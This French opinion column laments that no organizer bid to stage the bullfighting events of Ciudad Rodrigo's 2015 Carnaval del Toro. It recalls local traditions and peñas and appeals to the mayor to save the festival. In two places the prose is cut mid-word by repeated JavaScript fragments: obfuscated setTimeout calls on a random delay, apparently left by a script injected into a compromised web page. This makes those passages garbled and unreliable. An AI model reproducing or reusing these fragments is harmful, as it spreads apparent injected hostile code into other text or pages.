CARNAVAL DU TORO 2015 : CE N’EST PAS POSSIBLE

C’est impossible. Il faut arranger ça. Ça fait trop longtemps… Ce n’est pas en vain que le permis pour courir les toros dans les rues date de 1493, du temps des Rois Catholiques. La « grosse cloche » ne doit pas rester muette dans la tour de Ciudad Rodrigo, ni la trace de « Triguito » sans fêtes pour le remémorer à coups de tambour, ni l’ombre de Conrado –l’éternel maletilla- ne doit demeurer sans pouvoir faire des passes avec la muleta de ses rêves.

Quel sens aurait alors le vin offert dans un arrosoir à la Peña Puerta del Desencierro, ou la soupe et la morcilla de mouton de celle de La Roca, ou les fritures aux lardons et saucisses de celle de El Encierro ? La Peña Charra du Cheval ne pourrait-elle plus offrir le toro de l’eau de vie le mardi de carnaval ? Qu’en sera-t-il de celle de U.M.O ; c’est-à-dire de celle des maris opprimés ? Dans quel contexte vont s’amuser et amuser, comme c’est leur leitmotiv et revenir à leurs anciennes et restrictives lois –boire seulement du vin, ne goûter qu’aux plats de la région et ne raconter que des histoires de gens de Salamanque, sous peine d’amendes qui oscillent, ou oscillaient, entre la carafe de vin et le mouton grillé ?

Est-ce que les tientas concours organisées par le Bolsin Taurino afin de choisir, parmi les aficionados de toute l’Espagne, le triomphateur et lui donner ainsi la possibilité de toréer un novillo pendant les fêtes du Carnaval n’aurait plus de sens ? Est-il imaginable qui mi février, la plaza mayor de la ville soit privée de ses gradins, barreras et burladeros, ou que la rue de Madrid reste silencieuse en l’absence des clochettes, des cavaliers et des toros, sans le brouhaha des courses, des peurs et des rires ? Ce qui est vrai c’est que le concours pour l’organisation des spectacles taurins pour le Carnaval del Toro lancé par la mairie n’a trouvé de preneur chez les organisateurs taurins –aussi bien pour les novilladas et festivals ainsi que pour les encierros et capeas- ce qui augure d’un avenir incertain pour une fête qu’il me semble impensable de perdre.

Au moment où j’écris ces lignes, la réunion extraordinaire de la Commission Taurine prévue le 1 décembre n’a pas encore eu lieu. Alors je me souviens de Gor, le petit village de Grenade que j’ai déjà évoque ici, et je commence à penser que les taurins ne sont pas intéressés parce qu’ils n’y voient pas la rentabilité, mais ça peut intéresser la Mairie et ses habitants car ils ne pensent à en faire de l’argent, mais plutôt à maintenir les fêtes et la tradition sans que cela devienne déficitaire.

L’adoration du taureau dans cette région doit continuer à cultiver ses traditions et honorer la mémoire de ce « Cholas » qui était l’admiration de tous quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and il toréait avec sa gabardine ; du « Guitas » avec le chou accroché à sa corde ; des habitants de El Arrabal, avec leurs costumes en paille et de ce gamin, Julio Cánovas Torres, originaire du village de Alcantarilla dans la province de Murcie pour risquer sa vie, dans l’arène de la Plaza Mayor en rêvant de devenir torero.

Quoi qu’il en soit, monsieur le Maire, il faut arranger ça. C’est la mémoire d’une histoire qui remonte à des siècles en arrière qui vous le demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande. Et vous serez obligé de la respecter.

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